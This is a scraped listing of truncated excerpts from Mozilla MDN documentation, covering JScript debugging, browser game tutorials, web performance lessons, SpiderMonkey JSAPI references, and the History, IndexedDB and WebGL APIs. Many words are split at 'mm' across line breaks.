mmediate window of a script debugger at run time. if the script is not being debugged, the debug.write function has no effect. the debug.write function is almost identical to the debug.writeln function. the only difference is that the debug.writeln function sends a newline character after the strings are sent. example this example uses the debug.write function to display the value of the variable in the i
mmediate window of the script debugger. note: to run this example, you must have a script debugger installed and the...
@if - Archive of obsolete content
3 optional text to be parsed if both condition1 and condition2 are false. remarks when you write an @if statement, you do not have to place each clause on a separate line. you can use multiple @elif clauses. however, all @elif clauses must come before an @elseclause. the @if statement is typically used to determine which text among several options should be used for text output. it is not co
mmon to use conditional compilation variables in scripts written for asp or asp.net pages or co
mmand-line programs. this is because the capabilities of the compilers can be determined by using other methods. when you write a script for a web page, always add conditional compilation code in co
mments. this enables hosts that do not support conditional compilation to ignore it. example the following...
Square tilemaps implementation: Static maps - Game development
e examples, empty tiles will be represented by index 0, so we will shift the indices of the atlases by one (and thus the first tile of the atlas will be assigned index 1, the second index 2, etc.) the gettile() helper method returns the tile contained at the specified column and row. if tiles were a 2d matrix, then the returned value would just be tiles[column][row]. however, it's usually more co
mmon to represent the grid with a 1-dimensional array. in this case, we need to map the column and row to an array index: var index = row * map.cols + column; wrapping up, an example of a tilemap object could look like the following. this features an 8 x 8 map with tiles 64 x 64 pixels in size: var map = { cols: 8, rows: 8, tsize: 64, tiles: [ 1, 3, 3, 3, 1, 1, 3, 1, 1, 1, 1, 1, 1...
WebRTC data channels - Game development
this article explains more about this, and shows you how to use libraries to implement data channels in your game. what is a data channel? a webrtc data channel lets you send text or binary data over an active connection to a peer. in the context of a game, this lets players send data to each other, whether text chat or game status information. data channels come in two flavors. reliable channels guarantee that messages you send arrive at the other peer and in the same order in which they're sent. this is analogous to a tcp socket. ...
Techniques for game development - Game development
f the main thread and be cached for future game running, resulting in a significant performance improvement for your users. this article explains how. optimizing startup performance how to make sure your game starts up quickly, smoothly, and without appearing to lock up the user's browser or device. using webrtc peer-to-peer data channels in addition to providing support for audio and video co
mmunication, webrtc lets you set up peer-to-peer data channels to exchange text or binary data actively between your players. this article explains what this can do for you, and shows how to use libraries that make this easy. efficient animation for web games this article covers techniques and advice for creating efficient animation for web games, with a slant towards supporting lower end devices ...
asm.js - Game development
t the asm.js spec and know that it will run fast if they adhere to asm.js patterns. emscripten, a c/c++ to javascript compiler, emits asm.js code to make it run with near native performance on several browsers. additionally, if an engine chooses to specially recognize asm.js code, there even more optimizations that can be made. firefox is the only browser to do this right now. asm.js language su
mmary asm.js is an intermediate progra
mming language. asm.js has a very predictable perfomance rate because it is limited to an extremely restricted subset of javascript that provides only strictly-typed integers, floats, arithmetic, function calls, and heap accesses. the performance characteristics are closer to native code than that of standard javascript. using a subset of javascript asm.js i...
Finishing up - Game development
we can also reset the ball and the paddle positions when the player begins with their next life. so, in the draw() function replace the following three lines: alert("game over"); document.location.reload(); clearinterval(interval); // needed for chrome to end game with this, we can add slightly more complex l...
Move the ball - Game development
x.fillstyle = "#0095dd"; ctx.fill(); ctx.closepath(); x += dx; y += dy; } save your code and try again, and this time you'll see the ball move without a trail. every 10 milliseconds the canvas is cleared, the blue circle (our ball) will be drawn on a given position and the x and y values will be updated for the next frame. cleaning up our code we will be adding more and more co
mmands to the draw() function in the next few articles, so it's good to keep it as simple and clean as possible. let's start by moving the ball drawing code to a separate function. replace the existing draw() function with the following two functions: function drawball() { ctx.beginpath(); ctx.arc(x, y, 10, 0, math.pi*2); ctx.fillstyle = "#0095dd"; ctx.fill(); ctx.closepath(); ...
Buttons - Game development
ke advantage of the playing variable and make the paddle movable only when the game has started. to do that, adjust the update() function like so: function update() { game.physics.arcade.collide(ball, paddle, ballhitpaddle); game.physics.arcade.collide(ball, bricks, ballhitbrick); if(playing) { paddle.x = game.input.x || game.world.width*0.5; } } that way the paddle is i
mmovable after everything is loaded and prepared, but before the start of the actual game. compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps the last thing we will do in this article series is make the gameplay even more interesting by adding some randomization to the way the ball bounces off...
Initialize the framework - Game development
code next, we need to go through the process of downloading the phaser source code and applying it to our html document. this tutorial uses phaser v2 — it won't work with the current version on phaser (v3). the v2 library is still available on the phaser download page, below the links for the v3 download. go to the phaser download page. choose an option that suits you best — i would reco
mmend the min.js option as it keeps the source code smaller, and you are unlikely need to go through the source code anyway. save the phaser code inside a /js directory in the same location as your index.html file. update the src value of the first <script> element as shown above. walking through what we have so far at this point we have a charset defined, <title> and some basic css in the head...
Load the assets and print them on screen - Game development
'ball', 'img/ball.png'); } the first parameter we want to give the asset is the name that will be used across our game code — for example, in our ball variable name — so we need to make sure it is the same. the second parameter is the relative path to the graphic asset. in our case, we will load the image for our ball. (note that the file name does not also have to be the same, but we'd reco
mmend it, as it makes everything easier to follow.) of course, to load the image, it must be available in our code directory. grab the ball image from github, and save it inside an /img directory in the same place as your index.html file. now, to show it on the screen we will use another phaser method called add.sprite(); add the following new code line inside the create() function as shown: fun...
Physics - Game development
ontent-kit/demos/lesson05.html. for proper collision detection between objects in our game we will need to have physics; this article introduces you to what's available in phaser, as well as demonstrating a typical simple setup. adding physics phaser is bundled with three different physics engines — arcade physics, p2 and ninja physics — with a fourth option, box2d, being available as a co
mmercial plugin. for simple games like ours, we can use the arcade physics engine. we don't need any heavy geometry calculations — after all it's just a ball bouncing off walls and bricks. first, let's initialize the arcade physics engine in our game. add the physics.startsystem() method at the beginning of the create function (make it the first line inside the function), as shown below: game.ph...
Player paddle and controls - Game development
e.collide(ball, paddle); } the first parameter is one of the objects we are interested in — the ball — and the second is the other one, the paddle. this works, but not quite as we expected it to — when the ball hits the paddle, the paddle falls off the screen! all we want is the ball bouncing off the paddle and the paddle staying in the same place. we can set the body of the paddle to be i
mmovable, so it won't move when the ball hits it. to do this, add the below line at the bottom of the create() function: paddle.body.i
mmovable = true; now it works as expected. controlling the paddle the next problem is that we can't move the paddle. to do that we can use the system's default input (mouse or touch, depending on platform) and set the paddle position to where the input position i...
Randomizing gameplay - Game development
y because of a little bit of experimentation with the given values, you can do your own experimentation and see what happens. it's not completely random of course, but it does make the gameplay a bit more unpredictable and therefore more interesting. compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: su
mmary you've finished all the lessons — congratulations! by this point you would have learnt the basics of phaser and the logic behind simple 2d games. exercises to follow you can do a lot more in the game — add whatever you feel would be best to make it more fun and interesting. it's a basic intro scratching the surface of the countless helpful methods that phaser provides. below are some su...
2D breakout game using Phaser - Game development
est way to get a solid knowledge of web game development. if you are not already familiar with pure javascript game development, we would suggest that you first work through this series' counterpart, 2d breakout game using pure javascript. after that, you can pick any framework you like and use it for your projects; we have chosen phaser as it is a good solid framework, with a good support and co
mmunity available, and a good set of plugins. frameworks speed up development time and help take care of the boring parts, allowing you to concentrate on the fun stuff. however, frameworks are not always perfect, so if something unexpected happens or you want to write some functionality that the framework does not provide, you will need some pure javascript knowledge. note: this series of articles...
Game development
ards-compliant web browser. develop web games welcome to the mdn game development center! in this area of the site, we provide resources for web developers wanting to develop games. you will find many useful tutorials and technique articles in the main menu on the left, so feel free to explore. we've also included a reference section so you can easily find information about all the most co
mmon apis used in game development. note: creating games on the web draws on a number of core web technologies such as html, css, and javascript. the learning area is a good place to go to get started with the basics. port native games to the web if you are a native developer (for example writing games in c++), and you are interested in how you can port your games over to the web, you should le...
Test your skills: Conditionals - Learn web development
ascript console, in the case of the downloadable version). conditionals 1 in this task you are provided with two variables: season — contains a string that says what the current season is. response — begins uninitialized, but is later used to store a reponse that will be printed to the output panel. we want you to create a conditional that checks whether season contains the string "su
mmer", and if so assigns a string to response that gives the user an appropriate message about the season. if not, it should assign a generic string to response that tells the user we don't know what season it is. to finish off, you should then add another test that checks whether season contains the string "winter", and again assigns an appropriate string to response. try updating the live code b...
Silly story generator - Learn web development
hod that simply rounds the result of a calculation to the nearest whole number. there are three instances of strings that need to be replaced. you may repeat the replace() method multiple times, or you can use regular expressions. for instance, let text = 'i am the biggest lover, i love my love'; text.replace(/love/g,'like'); will replace all instances of 'love' to 'like'. remember, strings are i
mmutable! assessment or further help if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for silly story generator...
JavaScript First Steps - Learn web development
c building blocks of javascript — variables. basic math in javascript — numbers and operators at this point in the course we discuss maths in javascript — how we can combine operators and other features to successfully manipulate numbers to do our bidding. handling text — strings in javascript next we'll turn our attention to strings — this is what pieces of text are called in progra
mming. in this article we'll look at all the co
mmon things that you really ought to know about strings when learning javascript, such as creating strings, escaping quotes in string, and joining them together. useful string methods now we've looked at the very basics of strings, let's move up a gear and start thinking about what useful operations we can do on strings with built-in methods, such as ...
Test your skills: JSON - Learn web development
kittens is available in sample.json. the json is loaded into the page as a text string and made available in the catstring parameter of the displaycatinfo() function, called when the provided promise chain (which starts by fetching the json data) is fulfilled. your task is to fill in the missing parts of the displaycatinfo() function to store: the names of the three mother cats, separated by co
mmas, in the motherinfo variable. the total number of kittens, and how many are male and female, in the kitteninfo variable. the values of these variables are then printed to the screen inside paragraphs. some hints/questions: the json data is provided as text inside the displaycatinfo() function. you'll need to parse it into json before you can get any data out of it. you'll probably want t...
CSS performance optimization - Learn web development
nsive web design and help us optimize a critical rendering path. the browser blocks rendering until it parses all of these styles but will not block rendering on styles it knows it will not use, such the print stylesheets. by splitting the css into multiple files based on media queries, you can prevent render blocking during download of unused css. to create a non-blocking css link, move the not-i
mmediately used styles, such as print styles, into separate file, add a <link> to the html mark up, and add a media query, in this case stating it's a print stylesheet. <link rel="stylesheet" href="styles.css"> <!-- blocking --> <link rel="stylesheet" href="print.css" media="print"> <!-- not blocking --> <link rel="stylesheet" href="mobile.css" media="screen and (max-width: 480px)"> <!-- not blocki...
Measuring performance - Learn web development
reporting tools tools like pagespeed insights can measure a website’s performance. you can enter a url and get a performance report in seconds. the report contains scores about how your website is performing, both for mobile and desktop. this is a good start for getting an idea about what you are already doing well and what could be improved. at the time of writing, mdn's performance report su
mmary looks similar to the following: a performance report contains information about things like how long a user has to wait before anything is displayed on the page, how many bytes need to be downloaded to display a page, and much more. it also lets you know it the measured values are considered good or bad. webpagetest.org is another example of a tool that automatically tests your site and re...
Perceived performance - Learn web development
imize initial load to improve perceived performance, minimize the original page load. in other words, first download everything you're going to actually show, but only the stuff you are actually using, then download the rest. if you're downloading all the assets in the end, the weight of all your assets hasn't improved -- in fact, you may need to add some code -- but because the download of non-i
mmediately necessary assets are delayed in a manner that is not perceptible the the user, the user will feel like the download was faster. to minimize the assets required for initial load, separate interactive functionality from content so that required content -- the text, styles, and images visible at initial load -- can be loaded first. delay, or lazy load, the rest of the assets. don't load ...
What is web performance? - Learn web development
easurements: web performance involves measuring the actual and perceived speeds of an application, optimizing where possible, and then monitoring the performance, to ensure that what you've optimized stays optimized. this involves a number of metrics (measurable indicators that can indicate success or failure) and tools to meaure those metrics, which we will discuss throughout this module. to su
mmarize, many features impact performance including latency, application size, the number of dom nodes, the number of resource requests made, javascript performance, cpu load, and more. it is important to minimize the loading and response times, and add additional features to conceal latency by making the experience as available and interactive as possible, as soon as possible, while asynchronously ...
Chrome Worker Modules
loading modules loading a module is simple. start by importing the module loader. you only need to do it once for each worker, from within the chrome worker itself: importscripts("resource://gre/modules/workers/require.js"); note: although you only need to do this once for each worker, it doesn't hurt if you do it more than once. ...
ChromeWorkers and the Chrome worker loader
ng the "new sub-page" option in the "this page" menu. once you've saved your new page, come back to this one and force-refresh this page. that will regenerate the table of contents below for all readers. chrome worker modulesthe preferred way to define and load modules for chrome workers is to use the chrome worker module loader. this module loader should not surprise developers familiar with co
mmonjs, as it implements a minimal co
mmonjs require(). ...
Accessibility Information for Core Gecko Developers
working group (pfwg) to address the issue of dhtml accessibility. mozilla accessibility architecture this document explains how we implement the cross-platform accessibility layer in mozilla. it contains a class hierararchy and an explanation of the accessibility cache. unix accessibility project this document describes the sun accessibility project. join the mozilla accessibility co
mmunity live chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night. newsgroup and mailing list we have two discussion lists, which can be read via a newsgroup reader, as a mailing list or via google groups. p...
Embedding API for Accessibility
mozilla needs to move in the direction of accessibility. here is the w3c's definition of accessibility for a user agent like mozilla. in part, being accessible means supporting a built-in accessibility apis for a platform, such as microsoft active accessibility or atk for linux and unix desktops. there are many other pieces, such as preferences to allow the user to change foreground and background colors, and font sizes. mozilla already supports some of these options. this document lays out what we already have, and what we'll need later, in the embedding api to support accessibility. ...
Information for Assistive Technology Vendors
ix assistive technology developers mozilla supports the at-spi (assistive technology service provider interface) in html and in our user interface (based on xul technology). this makes it possible for the developers of linux and unix accessibility software, such as screen readers, voice dictation packages and screen magnifiers to provide support for mozilla. join the mozilla accessibility co
mmunity live chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night. newsgroup and mailing list we have two discussion lists, which can be read via a newsgroup reader, as a mailing list or via google groups. p...
Information for External Developers Dealing with Accessibility
e reserved keyboard shortcuts, how to create your own keyboard shortcuts, keyboard focus and navigation, type-ahead and key-repeat, etc. gnome keys: keyboard documentation for gnome 2.2: still seeking developer guidelines for keyboard. other useful resources links for those who wish to learn more about web accessibility or open source accessibility. join the mozilla accessibility co
mmunity live chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night. newsgroup and mailing list we have two discussion lists, which can be read via a newsgroup reader, as a mailing list or via google groups. p...
Information for users
since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night. newsgroup and mailing list we have two discussion lists, which can be read via a newsgroup reader, as a mailing list or via google groups. p...
Creating JavaScript tests
g automated javascript tests for instructions on how to run jstests or jit-tests. it's also a good sanity check to run each new test against an unpatched shell or browser. the test should fail if it's working properly. checking in completed tests tests are usually reviewed and pushed just like any other code change. just include the test in your patch. security-sensitive tests should not be co
mmitted until the corresponding bug has been made public. instead, ask a spidermonkey peer how to proceed. it is ok under certain circumstances to push new tests to certain repositories without a code review. don't do this unless you know what you're doing. ask a spidermonkey peer for details. ...
FOSS
script) code generators jsapigen - generates bindings for embedding spidermonkey in c applications extensions http://code.google.com/p/jslibs/ - zlib, sqlite, nspr, ode, libpng, libjpeg, libffi, (...) libraries for spidermonkey http://www.jsdb.org/ - a js shell with native objects for files, networks, databases, compression, email, etc. http://code.google.com/p/gpsee/ - co
mmonjs platform, native-language module interoperability methods, modules, etc. for spidermonkey. designed to supplement existing embeddings, gpsee ships with a sample trivial embedding, a scripting host, and an augmented version of mozilla's js shell. bundled modules include support for bytearray, bytestring, cgi, posix signals, ffi, and more. http://javalikescript.free.fr/ - a general-purpos...
Invariants
it returns cx to the script's compartment before returning. a given trace-jit trace stays within a single compartment (indeed, a single global object) end-to-end. lifetime invariants in some places, pointers to jsobjects and jsstrings must refer to live heap objects, but this is not a hard fast rule, especially for strings. some jsstrings are allocated on the stack for quick operations. some co
mmonly used strings are allocated statically; see jsstring::isstatic(). most jscontext pointers must point to live contexts, but jstitle::ownercx may point to one that has been destroyed! so code must check js_validcontextpointer(ownercx) before dereferencing it. shape invariants the shape guarantees hold whenever the property cache is enabled. also, we never change the shape of the global objec...
Property cache
warning: the details below are obsolete. shape integers do not exist anymore. the property cache still exists, but it is simpler now. spidermonkey mainly uses type inference to determine which properties are being accessed; in cases where type inference does not find the exact shape of the object being accessed, spidermonkey uses a pic (polymorphic inline caches) to store the result of the lookup. the property cache is only used in the interpreter. the property cache was introduced in bug 365851. ...
JIT Optimization Outcomes
telemstringnotcached nonnativereceiver indextype setelemnondensenontanotcached nosimdjitsupport optimization failed because simd jit support was not enabled. simdtypenotoptimized the type observed as being retrieved from this property access did not match an optimizable type. unknownsimdproperty the property being accessed on the object is not one of the optimizable property names. hasco
mmoninliningpath inlined dom monomorphic polymorphic inline cache outcomes outcomes describing inline cache stubs that were generated. icoptstub_genericsuccess icgetpropstub_readslot icgetpropstub_callgetter icgetpropstub_arraylength icgetpropstub_unboxedread icgetpropstub_unboxedreadexpando icgetpropstub_unboxedarraylength icgetpropstub_typedarraylength icgetpropstub_domproxyshadowed...
JS::Evaluate
ndicates the size of the text version of the script in characters. filename is the name of the file (or url) containing the script. this information is used in messages if an error occurs during compilation. rval is an optional out parameter. if it is non-null, then on success, the result value is stored in *rval. this value is determined the same way as for the standard eval function. in the co
mmon case where the script is just an expression, the result value is simply the value of that expression. more generally, the result value is the value of the last-executed expression statement in the script that isn't in a function. if a script compiles and executes successfully, js::evaluate stores the result in *rval, if non-null, and returns true. otherwise it returns false and the value left ...
JS::PropertySpecNameToPermanentId
name const char * jspropertyspec::name or jsfunctionspec::name. idp jsid * out parameter. receives the created id. description js::propertyspecnametopermanentid creates a jsid that does not need to be marked for gc from jspropertyspec::name or jsfunctionspec::name. the resulting jsid, on success, is either an interned string or a well-known symbol; either way it is i
mmune to gc so there is no need to visit *idp during gc marking.. see also mxr id search for js::propertyspecnametopermanentid js::propertyspecnameissymbol js::propertyspecnameequalsid jspropertyspec jsfunctionspec bug 1082672 ...
JS::SetOutOfMemoryCallback
8 callback syntax typedef void (* outofmemorycallback)(jscontext *cx, void *data); name type description data void * data parameter passed to js::setoutofmemorycallback. added in spidermonkey 38 description unlike the error reporter, which is only called if the exception for an oom bubbles up and is not caught, the js::outofmemorycallback is called i
mmediately at the oom site to allow the embedding to capture the current state of heap allocation before anything is freed. if the large-allocation-failure callback is called at all (not all allocation sites call the large-allocation-failure callback on failure), it is called before the out-of-memory callback; the out-of-memory callback is only called if the allocation still fails after the large-al...
JS::Value
cular, note that it is an error to call val.toobject() when val.isnull(). the now-deprecated jsval methods allowed jsval_to_object(val) when jsval_is_null(val), but this was a source of constant bugs. val.toobject() is only permitted when val.isobject(). an assertion is thrown in the case that the type is not correct (val.isx() is called for each val.tox(), where x is the type). it is highly reco
mmended that you develop and test with an --enable-debug build to detect most js::value misuse. debug builds will assert correct jsapi use in many other instances as well. js::value is subject to garbage collection a js::value can refer to a string or object located in spidermonkey's garbage-collected heap. the garbage collector is designed to automatically free unreachable memory. it is rather e...
JSClass.flags
jsapi 11 instructs js_initclass to invoke the constructor when creating the class prototype. jsclass_is_extended obsolete since jsapi 17indicates that this jsclass is really a jsextendedclass. jsclass_mark_is_trace obsolete since jsapi 5 indicates that the mark hook implements the new jstraceop signature instead of the old jsmarkop signature. this is reco
mmended for all new code that needs custom marking. spidermonkey reserves a few other flags for its internal use. they are jsclass_is_anonymous, jsclass_is_global, jsclass_is_proxy, and jsclass_has_cached_proto. jsapi applications should not use these flags. see also bug 527805 - removed jsclass_share_all_properties bug 571789 - removed jsclass_is_extended bug 638291 - removed jsclass_m...
JSGetObjectOps
tops allows for a higher level of operation, which does not use the object's class except to find the class's jsobjectops struct, by calling clasp->getobjectops, and to finalize the object. if this seems backwards, that's because it is! api compatibility requires a jsclass *clasp parameter to js_newobject, etc. most host objects do not need to implement the larger jsobjectops, and can share the co
mmon jsscope code and data used by the native (js_objectops, see jsobj.c) ops. further extension to preserve api compatibility: if this function returns a pointer to jsxmlobjectops.base, not to jsobjectops, then the engine calls extended hooks needed for e4x. jsclass hooks jsclass offerd following hook: the jsclass.getobjectops hook is called each time an object is created. it returns a point...
JSObjectPrincipalsFinder
permitted to watch the currently executing script. another example: when the function constructor is called, the javascript engine calls the object principals finder callback to obtain principals for the local scope object, to check that the caller has access to that object. the two debugger functions js_stackframeprincipals and js_evalframeprincipals also use this callback. since it is very co
mmon for jsobjectops.checkaccess or jsclass.checkaccess hooks to call these functions, the object principals finder callback is a key security feature. the callback returns a pointer to the principals associated with obj, possibly via the i
mmutable parent chain leading from obj to a top-level container (such as a window object in the dom). if there are no principals associated with obj, return null...
JSPrincipals
ls functions. some examples of security-enhanced api call are js_compilescriptforprincipals, js_compilefunctionforprincipals, and js_evaluatescriptforprincipals. these functions ensure that the given jsprincipals object is indelibly associated not only with the script being compiled or evaluated, but with all functions ever created by that script or code eval()-ed by it. codebase points to the co
mmon codebase for this object or script. only objects and scripts that share a co
mmon codebase can interact. getprincipalarray is a pointer to the function that retrieves the principals for this object or script. globalprivilegesenabled is a flag that indicates whether principals are enabled globally. refcount is the reference count. this is used for memory management. each time an object is refe...
JSProtoKey
this article covers features introduced in spidermonkey 24 possible standard object prototype types. value prototype in javascript jsproto_null a du
mmy key for invalid prototype. mxr search for jsproto_null jsproto_object object mxr search for jsproto_object jsproto_function function mxr search for jsproto_function jsproto_array array mxr search for jsproto_array jsproto_boolean boolean mxr search for jsproto_boolean jsproto_json json mxr search for jsproto_json jsproto_date date mxr search for jsproto_date jsproto_math math mxr search for jsproto_math jsproto_number number mxr search for jsproto_number jsprot...
JS_ConstructObject
cx to find a global object, and then find clasp's constructor in that global object. if parent is null, the engine chooses an object to serve as the new object's parent. on success, js_constructobject returns a pointer to the newly instantiated object. otherwise it returns null. the new object created by these functions is subject to garbage collection. the object should be made gc-reachable i
mmediately. see the jsapi user guide. see also js_defineobject js_newobject bug 757551 ...
History.length - Web APIs
the history.length read-only property returns an integer representing the number of elements in the session history, including the currently loaded page. for example, for a page loaded in a new tab this property returns 1. syntax const length = history.length specifications specification status co
mment html living standardthe definition of 'history.length' in that specification. living standard no change from html5. html5the definition of 'history.length' in that specification. reco
mmendation initial definition. ...
History.pushState() - Web APIs
ate() never causes a hashchange event to be fired, even if the new url differs from the old url only in its hash. examples this creates a new browser history state setting the state, title, and url. javascript const state = { 'page_id': 1, 'user_id': 5 } const title = '' const url = 'hello-world.html' history.pushstate(state, title, url) specifications specification status co
mment html living standardthe definition of 'history.pushstate()' in that specification. living standard no change from html5. html5the definition of 'history.pushstate()' in that specification. reco
mmendation initial definition. ...
History.replaceState() - Web APIs
oad bar2.html or even check that bar2.html exists. suppose now that the user navigates to https://www.microsoft.com, then clicks the back button. at this point, the url bar will display https://www.mozilla.org/bar2.html. if the user now clicks back again, the url bar will display https://www.mozilla.org/foo.html, and totally bypass bar.html. specifications specification status co
mment html living standardthe definition of 'history.replacestate()' in that specification. living standard no change from html5. html5the definition of 'history.replacestate()' in that specification. reco
mmendation initial definition. ...
History.scrollRestoration - Web APIs
rent scroll restoration behavior. const scrollrestoration = history.scrollrestoration if (scrollrestoration === 'manual') { console.log('the location on the page is not restored, user will need to scroll manually.'); } prevent automatic page location restoration if (history.scrollrestoration) { history.scrollrestoration = 'manual'; } specifications specification status co
mment html living standardthe definition of 'scroll restoration mode' in that specification. living standard no change from html5. html5the definition of 'history.scrollrestoration' in that specification. reco
mmendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to...
History.state - Web APIs
a value. // should be null because we haven't modified the history stack yet console.log(`history.state before pushstate: ${history.state}`); // now push something on the stack history.pushstate({name: 'example'}, "pushstate example", 'page3.html'); // now state has a value. console.log(`history.state after pushstate: ${history.state}`); specificationse specification status co
mment html living standardthe definition of 'history.state' in that specification. living standard html5the definition of 'history.state' in that specification. reco
mmendation initial definition. ...
History - Web APIs
updates the most recent entry on the history stack to have the specified data, title, and, if provided, url. the data is treated as opaque by the dom; you may specify any javascript object that can be serialized. note that all browsers but safari currently ignore the title parameter. for more information, see working with the history api. specifications specification status co
mment html living standardthe definition of 'history' in that specification. living standard adds the scrollrestoration attribute. html5the definition of 'history' in that specification. reco
mmendation initial definition. ...
HkdfParams - Web APIs
the derived key to an application or context, and enables you to derive different keys for different contexts while using the same input key material. it's important that this should be independent of the input key material itself. this property is required but may be an empty buffer. examples see the examples for subtlecrypto.derivekey(). specifications specification status co
mment web cryptography apithe definition of 'subtlecrypto.hkdfparams' in that specification. reco
mmendation ...
IDBCursor.continuePrimaryKey() - Web APIs
astprimarykey > cursor.primarykey) { cursor.continueprimarykey("javascript", lastprimarykey); return; } // update lastiteratedarticleid setlastiteratedarticleid(cursor.primarykey); // preload 5 articles into the unread list; unreadlist.push(cursor.value); if (++count < 5) { cursor.continue(); } }; specifications specification status co
mment indexed database api draftthe definition of 'continueprimarykey()' in that specification. reco
mmendation ...
IDBCursorSync - Web APIs
and its direction is monotonically decreasing in the order of keys. prev_no_duplicate 3 this cursor does not include duplicates, and its direction is monotonically decreasing in the order of keys. methods continue() advances the cursor to the next position along its direction, to the item whose key matches the optional key parameter. if no key is specified, advance to the i
mmediate next position. returns false if the cursor has reached the end of its range; otherwise returns true. bool continue ( in optional any key ); parameters key the key to which to move the cursor's position. remove() deletes the record at the cursor's position, without changing the cursor's position void delete ( ) raises (databaseexception); exceptions this method can raise an i...
IDBDatabase.deleteObjectStore() - Web APIs
db"; var dbversion = 2; var request = indexeddb.open(dbname, dbversion); request.onupgradeneeded = function(e) { var db = request.result; if (e.oldversion < 1) { db.createobjectstore("store1"); } if (e.oldversion < 2) { db.deleteobjectstore("store1"); db.createobjectstore("store2"); } // etc. for version < 3, 4... }; specification specification status co
mment indexed database api 2.0the definition of 'deleteobjectstore()' in that specification. reco
mmendation indexed database api draftthe definition of 'deleteobjectstore()' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check...
IDBDatabase.name - Web APIs
database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. this is used a lot below db = dbopenrequest.result; // this line will log the name of the database, which should be "todolist" console.log(db.name); }; specifications specification status co
mment indexed database api 2.0the definition of 'name' in that specification. reco
mmendation indexed database api draftthe definition of 'name' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/b...
IDBDatabase.objectStoreNames - Web APIs
note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. this is used a lot below db = dbopenrequest.result; // this line will log the version of the connected database, which should be // an object that looks like { ['my-store-name'] } console.log(db.objectstorenames); }; specifications specification status co
mment indexed database api 2.0the definition of 'objectstorenames' in that specification. reco
mmendation indexed database api draftthe definition of 'objectstorenames' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out h...
IDBDatabase.onclose - Web APIs
ve been aborted and the connection has been closed. note: this feature is available in web workers. syntax idbdatabase.onclose = function(event) { ... }; value a function which is called when the close event is fired. example db.onclose = function(event) { myappshowalert('the database "' + db.name + '" has unexpectedly closed.'); }; specifications specification status co
mment indexed database api draftthe definition of 'onclose' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasa...
IDBDatabase.version - Web APIs
</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. this is used a lot below db = dbopenrequest.result; // this line will log the version of the connected database, which should be "4" console.log(db.version); }; specifications specification status co
mment indexed database api 2.0the definition of 'version' in that specification. reco
mmendation indexed database api draftthe definition of 'version' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/...
IDBFactory.cmp() - Web APIs
key is greater than the 2nd key exceptions this method may raise a domexception of the following types: attribute description dataerror one of the supplied keys was not a valid key. example var a = 1; var b = 2; var result = window.indexeddb.cmp(a, b); console.log( "comparison results: " + result ); specifications specification status co
mment indexed database api 2.0the definition of 'cmp()' in that specification. reco
mmendation indexed database api draftthe definition of 'cmp()' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/...
WebGLContextEvent.statusMessage - Web APIs
this can occur, for example, if the webglcontextcreationerror event is fired. var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); canvas.addeventlistener('webglcontextcreationerror', function(e) { console.log('webgl context creation failed:' + e.statusmessage || 'unknown error'); }, false); specifications specification status co
mment webgl 1.0the definition of 'webglcontextevent.statusmessage' in that specification. reco
mmendation initial definition. ...
WebGLRenderingContext.activeTexture() - Web APIs
er with the help of the max_combined_texture_image_units constant. it is, per specification, at least 8. gl.getparameter(gl.max_combined_texture_image_units); to get the active texture, query the active_texture constant. gl.activetexture(gl.texture0); gl.getparameter(gl.active_texture); // returns "33984" (0x84c0, gl.texture0 enum value) specifications specification status co
mment webgl 1.0the definition of 'activetexture' in that specification. reco
mmendation initial definition. opengl es 2.0the definition of 'glactivetexture' in that specification. standard man page of the opengl api. ...
WebGLRenderingContext.attachShader() - Web APIs
ogram. var program = gl.createprogram(); // attach pre-existing shaders gl.attachshader(program, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); if ( !gl.getprogramparameter( program, gl.link_status) ) { var info = gl.getprograminfolog(program); throw 'could not compile webgl program. \n\n' + info; } specifications specification status co
mment webgl 1.0the definition of 'attachshader' in that specification. reco
mmendation initial definition. opengl es 2.0the definition of 'glattachshader' in that specification. standard opengl man page. ...
WebGLRenderingContext.bindAttribLocation() - Web APIs
. index a gluint specifying the index of the generic vertex to bind. name a domstring specifying the name of the variable to bind to the generic vertex index. this name cannot start with "webgl_" or "_webgl_", as these are reserved for use by webgl. return value none. examples gl.bindattriblocation(program, colorlocation, 'vcolor'); specifications specification status co
mment webgl 1.0the definition of 'bindattriblocation' in that specification. reco
mmendation initial definition. opengl es 2.0the definition of 'glbindattriblocation' in that specification. standard man page of the (similar) opengl api. ...
WebGLRenderingContext.bindBuffer() - Web APIs
